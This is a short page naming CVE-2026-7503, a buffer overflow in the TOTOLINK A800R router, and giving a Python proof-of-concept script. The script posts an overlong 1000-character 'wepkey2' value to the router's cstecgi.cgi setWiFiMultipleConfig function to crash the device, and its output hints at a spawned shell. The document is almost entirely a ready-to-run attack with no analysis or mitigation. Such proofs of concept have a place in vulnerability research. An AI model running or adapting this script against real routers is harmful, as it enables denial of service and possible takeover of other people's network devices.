CVE-2026-7503 TOTOLINK A800R缓冲区溢出漏洞

import requests # Target URL (Replace with actual IP) target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Malicious payload to trigger buffer overflow in 'wepkey2' parameter # 'A' * 1000 is an example length to exceed the buffer size payload = "A" * 1000 # Data payload mimicking the vulnerable function call post_data = { "function": "setWiFiMultipleConfig", "wepkey2": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Send POST request to the vulnerable endpoint response = requests.post(target_url, data=post_data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully. Check if the device crashed or shell is spawned.") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")